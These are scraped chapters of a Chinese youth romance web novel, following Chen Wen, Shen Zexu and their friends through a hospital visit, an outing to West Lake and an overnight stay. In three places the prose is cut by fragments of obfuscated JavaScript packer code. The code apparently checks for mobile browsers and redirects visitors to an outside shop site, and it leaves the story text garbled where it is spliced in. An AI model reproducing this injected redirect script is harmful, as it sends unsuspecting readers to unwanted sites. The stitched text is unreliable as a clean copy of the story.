明明现在站在他面前的是个比他高半个头的家伙,怎么偏偏在这种时候显得这么……好欺负? 陈温伸手去拽沈泽许的衣袖,“走,去护士站。” 男生任由他拉着走,一个气鼓鼓地走在最前头,一个乖乖被牵着跟在后面,更像……主人和大型犬? 两人在护士站转了一圈,最后空着手回来,护士姐姐无奈地摊手:“最后几包草莓味的都被小朋友吃完啦。” 病房里,白千月正用彩铅细细描摹一片银杏叶的脉络。听到开门声,她抬起头,眼底的落寞瞬间被笑意取代。 “不好意思阿姨,让您久等了。”陈温挠着头,把沈泽许推了进来。 “哎呦,没事没事。”白千月眼睛弯成月牙,她拍了拍病床边缘,示意他们坐下。 陈温刚一坐下,便瞧见白千月从床头柜抽出一本皮质相册,封面的烫金字已经有些褪色的,“小温,给你看看阿姨的宝贝相册。” 她翻开第一页时,陈温闻到淡淡的樟脑味,像是打开了一个尘封已久的时光胶囊。 泛黄的婚纱照上,年轻的白千月戴着珍珠头纱,笑容比婚纱还要耀眼。 “哇,阿姨婚纱照好美!”陈温脱口而出,又急忙补充:“当然,现在也漂亮!” 白千月笑着戳他额头,指尖有淡淡的护手霜香气:“哈哈,嘴巴真甜。” 女人轻轻抚过照片,从上往下,最后停留在那个男人的袖扣上。 那人眉眼冷峻,轮廓与现在的沈泽许有七分相似,只是嘴角绷得笔直,不见丝毫笑意。 男人的手掌虚扶在白千月腰间,无名指上的婚戒在聚光灯下泛着冷光。白千月轻轻叹了口气,不知在想些什么,悬在半空的手顿了又顿。 陈温也不着急,静静等女人的下一步动作,片刻,白千月翻开了下一页。 下一张是夏令营的小沈泽许,他戴着大得离谱的遮阳帽,T恤松松垮垮地挂在身上,男孩仰着脸看向镜头,湿漉漉的眼睛里写满不情愿,嘴角下撇让陈温想起被雨淋湿的小狗。 “那时候的小沈啊,死活不肯去夏令营,”白千月笑了笑,“我硬是把他塞进去。这孩子从小就爱黏着我,不然就是整天泡在书房里,我怕他闷坏了。” 陈温忍不住偷瞄了一眼现在的沈泽许,实在无法把照片里那个委屈巴巴的小团子和眼前这个冷峻的少年联系起来。 “妈。”沈泽许出声,像在抱怨,“别说了。” “好好好。”白千月偷笑。 接下来的照片多是母子二人的旅行照——沈泽许站在雪山脚下裹成粽子,在热带鱼缸前睁大眼睛,或是蹲在京都枫叶堆里捡银杏果…… 偶尔会出现那个西装男人的身影,总是站在画面边缘,像被强行P进去的。 最后几页是白千月出席各种发布会的照片,聚光灯下的她自信优雅,与现在病床上温柔的模样判若两人。 陈温注意到,后面几张照片的边角都有细小的折痕,像是被人反复取出又放回。 而相册的后半部分几乎都是空白页了。 合上时,皮革封面发出叹息声。 “真怀念啊,”女人轻声说,目光落在身边那个挺拔的身影上,“那时候泽许才到我腰这么高,现在都会照顾人了。” 陈温转头看向“会照顾人”的沈泽许,对方正低头整理袖口,抿着嘴唇,沉默不语。 “少爷,您点的餐到了。”私保提着三层竹制食盒进来。 虾饺晶莹剔透的表皮下隐约透出粉红的虾仁,小笼包顶部的褶皱像一朵朵小花,金黄酥脆的春卷斜斜地码在青瓷盘中。 “小温啊,留下来吃顿饭吧。”白千月笑得眼弯弯,“年轻人正是长身体的时候呢。” 沈泽许拆开一次性筷子,磨平上面的木刺,先递给母亲,再递给陈温。 他的指尖在陈温掌心停留了半秒,温度比平时要高——陈温这才想起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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病房的另一边,窗帘被风掀起一角。 李父半靠在床头,看见林宇舟推门进来时,眼角的皱纹舒展开来:“小舟又来啦?” “嗯,叔叔今天气色好多了。” 林宇舟把笔记本跟一袋水果放在床头柜上,他目光扫过空荡荡的陪护椅,上面只搭着件校服外套,问道:“清依呢?” “买午饭去了。”李父叹气,粗糙的手指摩挲着病号服衣角,那里有个不起眼的小线头,“那孩子最近学得太拼命了,连等电梯都在背单词……” “我晚点劝劝她。”林宇舟说。 “我劝过了,没用的。”李父摇摇头,“我知道她是怕照顾我住院,耽误她的功课……” 林宇舟正要接话,病房门便被推开,李清依拎着便当站在逆光处,发丝被走廊的风轻轻扬起,她看见林宇舟时明显怔了一下。 “林宇舟?” “早啊。”林宇舟看了眼腕表,已经下午12点多,他尴尬地改口:“中午好?” “午好。”李清依把便当盒放在床头,支起病床上的小桌板,又把便当移到小桌上。 盒子被打开,里面整齐地码着三菜一汤,却仅有一人份的餐具。 林宇舟皱眉道:“你不吃午饭吗?” “我不饿。”李清依轻描淡写,从校服外套口袋掏出单词本,纸张边缘已经卷起了毛边。 李父和蔼地笑了笑,悄悄从枕头下摸出一张皱巴巴的百元钞票,边说:“我这老头子吃饭哪用陪?小舟啊,你带清依去外面吃顿好的,这孩子最近都变瘦了。” “爸!”李清依耳尖泛红,伸手要拦,却被父亲灵活地躲开,“我真不饿。” 老人向林宇舟挤眉弄眼,像极了课堂上传递小纸条的学生。 “我饿!”林宇舟反应过来提高音量道,又不好意思地挠挠头,“那个……我早饭都没吃。” 李父趁机把钱塞进林宇舟口袋里:“医院后门新开了家煲仔饭,听说……” “可是你一个人……”李清依不放心地说。 “我还能把输液管吃进去不成?”李父故意板起张脸来,却在对林宇舟使眼色时破了功,“还不快去!” 林宇舟憋着笑,轻拽了下李清依的衣袖:“先吃点东西,垫垫肚子吧。” “就是就是。”李父连连点头,像只只会啄米的小鸡。 “那我十分钟就回来!”李清依被拉着往外走,还不忘回头叮嘱:“记得吃完青菜!” 林宇舟走到一半顿住,手忙脚乱地把钱塞回了李父枕头下,小声说:“叔!我请她!” 说完快步跟上已经走到走廊尽头的李清依,病房门关上的瞬间,李父笑着摇摇头,打开便当盒——最底下偷偷多压了一个荷包蛋,正是他最爱吃的那种溏心蛋。 26. 你也好看 正午的太阳斜照进汤粉店,蒸腾的热气在光线下形成朦胧的雾帘。 林宇舟抽出一张干净的纸巾,擦了擦泛着油光的木桌,而后,他把纸巾揉成团扔进一旁的垃圾桶。 “老板,两碗汤粉。”林宇舟朝忙碌的老板喊了一声,声音淹没在嘈杂的人声中。 大中午的客人很多。老板头也不抬,手里的大勺在汤锅里搅动着:“加卤蛋还是猪脚?” 林宇舟闻言转头看向李清依,少女正盯着菜单发呆,他问:“你想吃什么?” “啊?”李清依回过神,睫毛轻轻颤了颤,“随便吧。” 林宇舟没追问,直接对老板说:“都要。” “好嘞!”老板娘麻利地抓起配料,“收款码在墙上,自己扫啊,我们实在抽不开身。” 李清依刚掏出手机,抬头就见林宇舟已经付完款,支付成功的界面还在亮着。 “路上不是说我请的吗?”她声音有些着急。 “没事,”林宇舟把手机揣回兜里,嘴角上扬,“这次我请你。” “那下次我请回你吧。”李清依说。 “嗯,好。”男生点头,眼里带着笑意。 但他在心里默默补充:才不会有下次。 林宇舟张望着厨房的方向,看老板揉面团,余光瞥见李清依把那本英语单词书拿了出来,正低头背着,嘴里念念有词。 这一幕都让林宇舟愣住了:怎么拼? “来了来了!”老板娘端着两碗冒着热气的汤粉走来,“小心烫啊!” “没事。”林宇舟接过碗,手立刻被烫得发红,他强忍着把碗推到李清依面前,随即捏住自己的耳垂降温,龇牙咧嘴的样子活像只被踩到尾巴的猫。 “噗嗤——”李清依忍俊不禁,笑声像清泉溅落在石板上,她放下书,捂着嘴偷笑。 林宇舟瞧她笑弯的眼睛,也不由自主地跟着笑起来,两人笑得莫名其妙,却又停不下来。 “小情侣感情真好啊。”老板娘用抹布擦着手,笑眯眯道。 李清依瞬间不笑了,脸瞬间涨得通红:“不是的老板,您误会了!我们只是同学……” “啊对,我们是同学。”林宇舟连忙附和,耳根却悄悄红了。 老板娘狐疑地打量着他们:少年棱角分明的侧脸和少女精致的眉眼,在阳光下竟出奇地和谐。 “奇了个怪了。”她嘀咕着走开,“我这么多年看人从没走眼过……” 老板娘一走,李清依便偷偷抬眼,发现林宇舟正盯着她看,两人视线相撞的瞬间,又同时慌乱地低下头,假装对碗里的配菜产生了莫大的兴趣。 面很烫。女生低头吹了吹,嗦了一口,暖意顺着喉咙滑下去,像吞进一小片太阳,整个人都舒展开来。 店里人挤人,老旧风扇吱呀转动,扇叶搅动闷热,却驱不散像盛夏的燥意。 李清依来的时候忘记带皮筋了,散落的发丝总是不听话地往面碗里掉。 她不得不一次次抬手,将头发别到耳后,可没过几秒,它们又滑了下来。 林宇舟瞥了一眼她的动作,从口袋里摸出个纯黑色的发圈,递过去,“给。” 李清依抬头,愣了一下:“啊?” “看你吃面不方便。”林宇舟语气平常,好像这只是件再自然不过的事。 李清依接过橡皮筋,状似随意地问:“这橡皮筋哪里来的?” “这个啊……”林宇舟挠起头,目光飘向窗外,“就是我姐每次拉我出门,都让我揣一个,说是以防万一什么的。” “你还有姐姐?”李清依问。 “嗯……” 李清依注意到男生说这话时,喉结不自然地滚动了一下,她又说:“给我方便吗?要不我吃完还给你?” “不用。”林宇舟低头猛扒了两口面,声音闷闷的,“我姐有很多个,如果是给你的话,我觉得她是不会介意的。” 李清依没再推辞,抬手拢起长发,发丝在她指间流淌,像一匹上好的绸缎。她三两下扎好,脖颈线条一下子露了出来,白皙的皮肤上还沾着几滴的汗珠。 林宇舟悄悄抬眼。 她真的好漂亮——皮肤白得能透光,笑起来的时候,左脸颊会陷进去一个小小的酒窝,像是盛了蜜。 风扇转向来过来,吹散了她耳边一缕不听话的碎发,好像还有淡淡的清香。 林宇舟慌忙低头,发现自己的汤粉有些糊成一团了。奇怪的是,这碗坨掉的面,竟比任何时候都要美味。 店外有一条大马路,公交车缓缓驶过。 林宇舟漫不经心地抬眼,瞥见车窗玻璃上掠过两道模糊的影子——两个少年的轮廓,一晃而过,却莫名熟悉。 陈温?沈泽许? 陈温好像还靠在沈泽许肩上!? 他眯起眼想再看清楚,可车已经开远了,只留下一阵带着汽油味的暖风。 “怎么了?”李清依注意到他的走神,顺着他的视线望去,却只看到空荡荡的街道。 “没什么。”林宇舟收回目光,“快点吃吧,要凉了……” 十二分钟前,因为实在天气太热了,两人没买糖,而是换成了冰淇淋。 陈温边舔冰淇淋边说:“好久没去西湖看看了。” 沈泽许掏出手机,随便划动了两下,舔了口冰淇淋说:“西湖距离这有2到6公里。”他抬头看向不远处的公交站牌,“现在去?” “地方好远啊。”陈温道:“算了吧,我就是随口说说的。” 沈泽许把冰淇淋的包装纸扔进垃圾桶,一只手拿着手机,说:“因为你刚刚说好久没去了,路上我们可以小睡一会,或者……你现在想换更近的地方玩?” “我都行……”陈温不确定地问:“你确定你不是三分钟热度?” “不是。”沈泽许坚定地回。 “那好吧。” 两人并肩走到公交站,上了车。陈温掏出耳机线,舒缓的流行音乐从耳塞中流淌而出。 他犹豫了一下,摘下一边耳机道:“一起?” 沈泽许低下头,任由陈温将耳机塞入自己耳中。过短的耳机线迫使两人不得不靠得很近,随着公交车的颠簸。 他们的肩膀不时相碰,又迅速分开。 公交车在林荫道间穿行时,沈泽许第三次扶正了滑落的耳机。陈温支着下巴看向窗外掠过的梧桐树,余光瞥见某人紧绷的膝头——休闲裤上落着几星木棉絮,随呼吸微微起伏。 “步行街到了,请要下车的乘客……” 踏出车门的那一刻,热浪瞬间裹了上来,空调的凉意像被一刀切断。 国庆假期的人潮汹涌而来。 陈温被下车的人群挤地往沈泽许那边靠了半步,两人的肩膀轻轻撞在一起,他说:“不好意思。” “小心点。”沈泽许的声音混在叽叽喳喳的人声中,却意外地清晰。他不动声色地往陈温这边靠,用身体为他隔开拥挤的人群。 人们总说梧桐,便想起南京。那些法国梧桐,落叶纷纷,却最是长情。 但惠州也有自己的梧桐大道。 西湖周边的梧桐是那么高,仰头望去,大片的绿在风里摇晃,像谁随手泼出去的水彩,又像一场醒不来的梦。 两人穿过斑马线,到东大门。 两只石狮子威严地蹲守两侧,却挡不住汹涌的人流。到树荫下,总算是有了片刻清凉,偶尔穿过的微风带着湖水的湿气,暂时驱散了燥热。 可到了烈日下,陈温便被太阳刺地眯起眼睛,用手扇着风,道:“这说走就走的‘旅行’好像不太明智。” 沈泽许自然地抬手替他挡住阳光,说:“是我考虑不周,待会找找哪里有卖伞的。” 他说着,目光已经在搜寻周边的商铺,但周边都是一些小吃摊。 路过苏东坡纪念馆时,里面传来阵阵笑声。有游客正打趣道:“日啖荔枝三百颗,不就是苏轼被贬岭南时发现的美食嘛!” “那你吃三百颗荔枝能写出这样的诗吗?” 另一道声音反驳他,又引起一阵哄笑。 两人默契地绕过拥挤的入口,沿着湖岸慢慢走。走出一段距离后,陈温忽然停下——周围的人都在拍照,只有他们空着手,像是误入了某个电影片场,却忘了自己的台词。 他歪着头看向沈泽许,眼里闪着促狭的光:“别人都在拍照留念,我们怎么能一直走呢,你说对吧!” “你想拍照?”沈泽许挑眉。 “我不想,”陈温“邪魅”一笑,举起手机对着沈泽许,“但我可以拍你啊。” 沈泽许条件反射般抬手挡着自己的脸,指缝间能看见他泛粉红的耳尖:“别闹。” “明明那么帅还不让人拍。”陈温小声嘀咕。 烈日下的沈泽许皮肤白皙得近乎透明,挺拔的身形在人群中格外醒目,尤其是那双眼睛,深邃得像是一片海洋。 那人偏过头,侧脸融在阴影里,看不清表情。 陈温闷头走到最前面,脚步却放得很轻——像在等谁的脚步声追上来,又像在给自己留反悔的余地。 两人逛了一会,肩膀忽地一沉,各自被一只手臂环住。 “别动~”身后传来刻意捏着嗓子的声音,“猜猜我是谁?” 陈温和沈泽许默契地对视一眼,都从对方眼中读出了同样的答案。 “唔,好难猜啊……”陈温故意拖长音调,嘴角却已经忍不住上扬,“是哪个小可爱?” “猜对有奖哦~”那个声音继续装模作样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171959|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你是林宇舟。”沈泽许直接不装了。 “切,没意思。”林宇舟松开手臂,夸张地吸了口气,“奖励就是由本帅哥担任你们的专属向导!” 两人的视线越过男生的肩膀,同时定格——李清依正歪着头从后面探出身子,冲他们招手,“好巧啊。” “你们怎么也来了?”陈温惊讶地问。 时间倒回十多分钟前,面馆里,李清依的手机乍然响起。 她接起电话,父亲的声音从听筒里传来:“小依啊,爸爸要睡午觉了,你就不用回来了。” “可是……” “没什么可是的,你跟林宇舟在附近转转呗,人家来这边也不容易。” “嘟嘟嘟……”电话被挂断。 与此同时,林宇舟的手机屏幕亮起: 「李叔:我睡个午觉,你带小依出去走走。国庆假期就该放松,这孩子一回家就只知道学习,我真怕她憋出病来。叔叔腿脚不便,就拜托你了。(抱拳.jpg)」 林宇舟一抬头,便正对上李清依略显失落的眼神,他试探性地提议道:“要不要……我们去西湖逛逛?” 于是阴差阳错,两拨人在这人山人海的西湖边重逢。 “小导游”林宇舟举着不知从哪来的地图走在最前头,却频频把大家带进死胡同—— “这是战略迂回!”他嘴硬地辩解,第三次推开“此路不通”的铁门。 四人被人潮裹挟着倒退时,晚霞里的红灯笼逐一亮起,像一串浮在夜色中的暖色气泡,照亮了他们哭笑不得的脸。 “听说今晚的灯会不错,”陈温望着渐浓的夜色,“灯笼都亮起来了。” 林宇舟正单膝跪地系鞋带,鞋带上面还留着半个脚印,是刚才被人群踩的。 他说:“但是再晚回去李叔该担心了。” 李清依拢了拢被晚风吹乱的头发,轻声说:“今天真的很开心,谢谢你们。” “我们就是在附近随便转转,也没带你去什么好玩的地方。”陈温挠着头,不好意思地说。 林宇舟像是想起什么似的,突然“啪”地打了个响指:“对了,过几周第七节自习课,我们学校和隔壁学校有场篮球赛,我会上场。” 他弹起身,衣领翻起一角,“具体时间我到时候再通知你们,你们来不来看?” “真的吗?”陈温说。 “嗯。”林宇舟用力地点点头。 远处公交车进站的灯光扫过来,沈泽许抬手挡了挡刺眼的光束,说:“车到了。” 四人匆匆道别—— “大后天见。” “拜拜。” 公交车很快到达了小区附近,陈温站在单元门前,说:“真不用送了。” 沈泽许单手插兜:“都到这儿了,不邀请我上去喝杯茶吗?” 陈温喉结动了动:“行吧。” 推开家门时,厨房飘来阵阵香气。 “我回来了。你等一下哈。”陈温弯腰从鞋柜里翻出一次性拖鞋:“OK,请进。” “哎呀,小宝带朋友回来啦?”元姨系着围裙从厨房探出头,锅铲上还沾着番茄汁。 “阿姨好。”沈泽许微微欠身。 “小伙子真精神!”元姨眼睛一亮,“是小温同学吧?” “是。”陈温抢先答道。 元姨端出金黄的番茄炒蛋,边说:“小伙子怎么称呼啊?” “沈泽许,您叫我小沈就好。” “留下来吃饭吗?”元姨热情地招呼,沈泽许闻言用湿漉漉的眼神看向陈温,说:“可以吗?” “随……便你。”陈温别过脸,假装整理鞋柜。 “哎呦,小沈这长相,跟电视里的小明星似的。”元姨眼角弯弯,她掐了掐沈泽许的脸,“真水灵,感觉可以掐出水来。” 沈泽许被揉捏脸蛋,并没有嫌弃,反而目光柔和:“阿姨您看着也年轻,皮肤状态比很多人都好。” 说话不假,元姨爱保养,皮肤看起来比同龄人要年轻许多。 “这孩子嘴真甜!”元姨笑得合不拢嘴。 “我呢?”陈温突然插嘴,连他自己都没意识到语气里的酸味。 “哎呦,还吃醋了?”元姨以为是自己忽略了他揶揄道,“行了,快洗手吃饭,我得回去了。今天轮到我做饭,不然我家那位要生气了。” 送走元姨后,两人站在洗手台前洗手,水流哗哗作响,沈泽许开口道: “你也好看。” “啊?”陈温冲泡泡的手一抖。 沈泽许的嗓音则像是浸了蜜:“像小太阳。” 哪有男生这样夸男生的? 陈温脑子里一片空白,耳尖烧得厉害。片刻,他只挤出一声含糊的“哦”了一声。 27. 回忆 老式风扇呼呼地转着,将沈泽许身上那股茉莉香吹的石龙时淡。 陈温咀嚼着饭粒,余光里,沈泽许的筷子悬在餐桌中央,夹起的那块排骨将两人隔成楚河汉界。 男生又低下头不敢看对方,似乎是谁先开口,谁就输了这场无声的较量。 米饭在舌尖泛着甜味,不到一分钟,陈温就憋不住了。他忽然想起前几天黄曦给他分享的搞笑段子,恶作剧的心思蠢蠢欲动。 “你知道吗?”陈温忍住笑意,放下筷子,说:“确实我们俩小时候一起玩过。” 沈泽许明显一僵,筷子悬在醋溜土豆丝上方,酱汁滴回盘子里:“嗯?” 见对方没反应过来,陈温乘胜追击:“那时你在你家客厅玩积木,”他比划着,“我在我家阳台玩水枪。” 沈泽许:“……?” 他的眉头缓缓蹙起——从困惑到恍然再到无奈,最后回归那副标志性的冰山脸。 “噗——”陈温终于破了功,眼角都笑出了泪花,“不是吗?” 沈泽许这才反应过来自己被耍了,紧绷的肩膀明显放松下来。他抿了抿唇,居然很认真地点头:“你说得对。” 换作别人也许是敷衍你,但那人是沈泽许的话,他可能真的有认真想过。 窗外的房屋逐渐亮起灯光,在屋内灯管的照耀下,沈泽许的侧脸线条清晰无比。 鬼使神差地,陈温有一种,想去捏一捏对方的脸,欺负一下他的冲动。 他也确实那么做了——指尖缓缓靠近,直到碰触到一片冰凉。 两人同时僵住。 沈泽许的耳尖以肉眼可见的速度变红,陈温脑子一片空白,他迅速缩回手,结结巴巴地解释:“那什么……你脸上有米粒……” “……嗯,谢谢。” 陈温现在恨不得把刚才作案的手指剁掉。 沈泽许脸上确实有米粒,但那粒米饭明明小得几乎看不见,他完全可以用语言提醒的。 为什么要亲手去碰啊! 现在谁都不敢看谁了。 他在心里想:让沈泽许留下来吃饭,可能是个天大的错误。 因为从现在开始,他会忍不住想第二次,第三次……无数次地把这个人带进自己的领地。而每一次,都会让那道本就模糊的界限变得更加不堪一击。 窗外不知何时下起了小雨,雨滴敲打着玻璃窗。沈泽许垂着眼睫,声音放很轻:“你……没什么想问我的吗?” 陈温从尴尬地扒饭中抬起头,米粒粘在嘴角都忘了擦,他歪着头,拖长音调:“你想让我问什么?” 沈泽许微微抬头:“你想知道什么?” 两人就这样隔着一桌饭菜对视,空气里仿佛有无形的丝线在不断拉扯。 陈温用筷子戳着碗底的饭粒,心想:要是沈泽许想说早都说了。 就譬如:沈泽许的母亲为什么住院了?为什么要对自己那么好?为什么那么照顾他?他有什么值得沈泽许这么对待自己的。 他既想听到对方的答案,又怕听到不该听的。 最后他道:“我应该问什么?” 又开始拉扯,沈泽许垂着眼,矛盾的心情像潮水般涌来,让他的呼吸都变得小心翼翼。 “算了……”他笑了笑,眼里的光黯淡下去,“吃饭吧。” 陈温真想打自己的嘴:干嘛要拉拉扯扯的! 但是有些事情,一旦开了头就再也收不住。 就像现在,沈泽许的呼吸声,他拿筷子的姿势,甚至是他吞咽时喉结滚动的弧度,都成了这个空间里无法忽视的存在。 而最可怕的是,陈温发现自己竟然在偷偷记下这些细节。 “能再来一碗吗?” 沈泽许的声音将陈温飘远的思绪拽回。他这才发现,对方的碗已经空了,米饭粒都没剩几颗。 “啊、好……” 沈泽许推开木椅起身,椅脚在地板上刮出轻微的摩擦声。他挽起的袖口露出线条分明的小臂,碗底的油渍在灯光下泛着浅浅的光。 ——这画面过于居家了。 陈温猛地别过脸,耳根发烫。可当厨房传来电饭煲开盖的"噗"声时,他的视线又不受控地追过去,黏在那人被门框裁切的背影上。 这就是他害怕的——沈泽许太容易就融入了他的生活空间,就像一滴墨落入清水,不知不觉就晕染开来。 他居然也在期待这样的“污染”。 最后一块糖醋排骨的酱汁渐渐凝固,陈温伸手去收碗筷时,沈泽许的手便覆了上来。 “我来。” 陈温下意识攥紧筷子:“哪有让客人洗碗的道理,你去沙发上待着去。” 两人的手在碗沿上方僵持,瓷器的凉意顺着全身蔓延,沈泽许使了个巧劲——陈温只觉得虎口一麻,碗就易了主。 “还是我来吧,总不能让我白吃白喝吧。” “你……”陈温看着沈泽许挽起袖口的背影,水龙头喷出的水花溅在他小臂上,那颗浅褐色的痣在水光中忽隐忽现。 “……” 厨房里很快响起碗碟碰撞的清脆声响。 陈温站在原地,发现自己的手心出了层薄汗——刚才沈泽许碰到的地方,现在烫得像被火星燎过。 客厅只剩下电视里综艺节目的罐头笑声,陈温靠在沙发上,一只手抱着抱枕,余光却忍不住往厨房的方向瞟。 玻璃门后,沈泽许系着围裙——围裙对于他来说小了一点,带子在腰后系了个结,更衬得他肩宽腰窄…… 水声停了。 沈泽许脱下围裙,用干纸巾擦着手出来,裤角也有些湿了。 “我洗好了。”他语气里带着点不易察觉的期待,像只做完好事等夸奖的大型犬。 “嗯,你很棒。”陈温敷衍地应着,目光没有朝那人看去,“沈泽许,你什么时候走?” 男生在他身边坐下,沙发陷下去一块。 “这么想赶我走?“ 陈温这才意识到自己的话有多像逐客令,但他这是想知道某人什么时候走罢了。 他张了一下嘴,最终只是调大了电视音量:“那……看会儿电视吧。” 综艺里主持人正在夸张地尖叫,陈温一个字都没听进去,他能感觉到沈泽许的体温隔着衣料传来,像块暖烘烘的磁石,让人不自觉地想靠近。 又过了十分钟,陈温忍不住说:“你还不回去吗?很晚了。” “是挺晚的了。”沈泽许转过头面对陈温,眼睛亮得出奇,“我可以留宿过夜吗?” 陈温睁大眼睛,差点被自己的口水呛到:“你这样阿姨会担心的!” “那我跟她说一声。”沈泽许已经掏出手机。 “等等!”陈温按住他的手,“就算阿姨同意了,你也没有洗漱用品啊。” “我下去买。” “不行。”陈温脱口而出。 沈泽许挑眉:“为什么不行?” “这么晚了,你应该……” 陈温的声音越来越小。 “就是因为太晚了,外面危险。”沈泽许凑近,呼吸拂过陈温的耳廓。 陈温在心里翻了个白眼——在我家就不危险了?再说买日用品不也要出门? 但他没敢说出口,因为沈泽许靠得太近了,近到能闻到他身上淡淡的洗洁精味道。 电视里的笑声冷不丁变得很大声,陈温这才发现自己的手心全是汗。 他应该坚持让沈泽许回去的,可心底有个声音在说:留下他吧,留下他,留下他…… “哦,随便你。”最终他别过脸,猛地站起身,淡淡地说:“我去洗澡了。” 可是那通红的耳尖出卖了他——就像他偷偷期待的那样,有些事情,果然只有0次和无数次。 氤氲的水汽裹挟着桂花香,陈温站在花洒下,水流冲刷着他的身体。浴室外传来开门的声音,他冲泡泡的动作顿了顿。 “走了吗……”陈温喃喃自语,随即又自嘲地摇摇头,莫名加快洗澡的速度。 他三两下穿好睡衣,推开浴室门时,映入眼帘的是空荡荡的客厅。陈温站在原地,扯了扯嘴角。 “我就说嘛……” “叮咚——” 陈温瞧了眼猫眼,便快速开了门。 沈泽许浑身湿透地站在门口,雨水在脚边汇成一小滩水洼。 男生愣在原地,随即又手忙脚乱地拽过脖子上的毛巾,盖在沈泽许头上。 “怎么淋成这样?” 沈泽许被陈温牵到木凳上,发梢还滴着水。 “别动。” 陈温的手隔着毛巾陷入他柔软的发间,而沈泽许安静地坐在矮凳上,微微低着头。 他举起手里的塑料袋:“我楼下买了牙刷和毛巾,可以留下我了吗?” 陈温又好气又好笑:“外面下这么大雨,你就不知道拿把伞?门口不是有吗?” “你没说可以用……”沈泽许的声音闷闷的,像被主人批评的小动物,却在陈温看不见的角度悄悄勾起嘴角。 “你是笨蛋吗?”陈温用力揉搓他的头发,脸越来越红,“你想用什么就用,想做什么就做,我都不介意!” 沈泽许抬起头,湿漉漉的眼睛里好像盛着高光:“嗯。” 陈温把毛巾往木架子上一挂,不由分说就把人推进了浴室。“赶紧洗热水澡,感冒了可别赖我。” 他的语气凶巴巴的,却没什么威慑力。 陈温到厨房接了一壶水煮,在等待水烧开的时候,他一拍脑袋。 “遭了……” 他忘记了,沈泽许衣服湿了不能穿了。 无奈之下,陈温翻箱倒柜找出一件许久未穿过的灰色睡衣,棉质布料带着淡淡的樟脑味。 “开门,送衣服。”男生站在浴室门前,指节叩在磨砂玻璃上。 干净好听的嗓音传了出来:“等一下。” 水声停了。 门缝里伸出一只湿淋淋的手,水珠顺着小臂滑落,在肘弯处积成小小的水洼。 陈温吓了一跳,男生闭着眼睛递了过去,对方接住的瞬间,他便迅速收回手。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17171960|196843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 门缝里的水雾漫出来,沈泽许的声音混着回音:“谢谢。” 陈温僵在原地。 直到门被关上,他才回过神来。 男生蹲在鞋柜前,最底层那双崭新的灰色棉拖还带着吊牌——是他们家备着客人用的。 他余光瞥见鞋柜一旁的雨伞时,拿鞋的手突然顿住。 那把黑伞静静地躺在鞋柜角落,伞面干燥,但金属挂钩上残留着一道明显被挪动过的水痕——就像有人拿起来仔细端详过,又原样放了回去。 “明明碰过伞……”他轻声自语,眼前浮现沈泽许站在雨里浑身湿透的模样。 那个瞬间的违和感似乎有了答案:如果真怕擅自用伞会惹他生气,沈泽许根本不会去碰;而既然碰了却不用,只能说明—— 一个荒谬的念头也在心底炸开:淋雨是故意的??! “怎么可能。”陈温又摇摇头,却想起沈泽许坐在凳子上仰头看他,好像是一脸得逞的样子…… 就像精心布置的陷阱,等着他心软,等着他允许那个湿漉漉的人侵入自己的领地。 水壶煮好尖啸起来,吓得陈温一哆嗦。 他急忙关上火,看着沸腾的水泡一个个破裂,就像他此刻理不清的思绪。 片刻,沈泽许穿着明显小一号的睡衣出来,睡衣袖子短了一截,露出男生线条分明的手腕;裤脚更是滑稽地悬在脚踝上方,活像偷穿大人衣服的小孩。 那双拖鞋被陈温踢到男生脚边,随后他把热水塞进沈泽手里说:“跟阿姨报备过了?” “嗯。”沈泽许接过杯子,喝了一口,热气腾腾的,“她说让我玩得开心。” 陈温“哦”了一下,抱来一床被子往沙发上一扔,“到我这来,就要当‘厅长’。” “厅长?”沈泽许歪着头,头发还在滴水。 “就是睡客厅的意思。现在很晚了,头发干了就早点睡,我先走了。” 陈温转身就要回卧室,却被拉住了袖子。 沈泽许的眼睛在暖黄灯光下显得极其明亮:“我们不是好朋友吗?”他故意加重了“好朋友”三个字,“不能一起睡?” 陈温的喉结滚动了一下,但他一个个的掰开沈泽许的手指,道:“不能。” 说完,他就逃也似地钻进卧室,关门的声又重又响,男生背靠着房门,把耳朵贴近门。 外面传来窸窸窣窣的动静,然后是沙发弹簧被压低的声响。 见没了动静,陈温便上了床。 雨点砸在窗玻璃上的声音越来越急,雷声轰鸣,仿佛要将黑夜撕开一道道惨白的裂口。 陈温在睡梦中不安地翻了个身,被子捂住他整个头。 梦境如潮水般涌来—— “小宝,爸爸煮了你最爱的绿豆汤哦。”母亲廖淑琴的手温柔地抚过他的发顶,带着淡淡的护手霜香气。 “绿豆汤!绿豆汤!妈妈,我要喝三碗!”年幼的陈温蹦跳着,书包上的挂件叮当作响。 廖淑琴捏起陈温毛衣上一个孤零零的线头,问道:“小宝,这扣子怎么掉了?” 陈温低头看了看,摇头时发梢扫过睫毛:“不知道。” “没事,回去叫爸爸补。小宝该和朋友说再见了。”女人道。 男孩朝着刚刚认识的“朋友”挥手:“明天再一起玩!” “嗯……明天见。” 陈温一路狂奔回家,途中被个扎马尾的姐姐护着穿过人潮汹涌的斑马线。 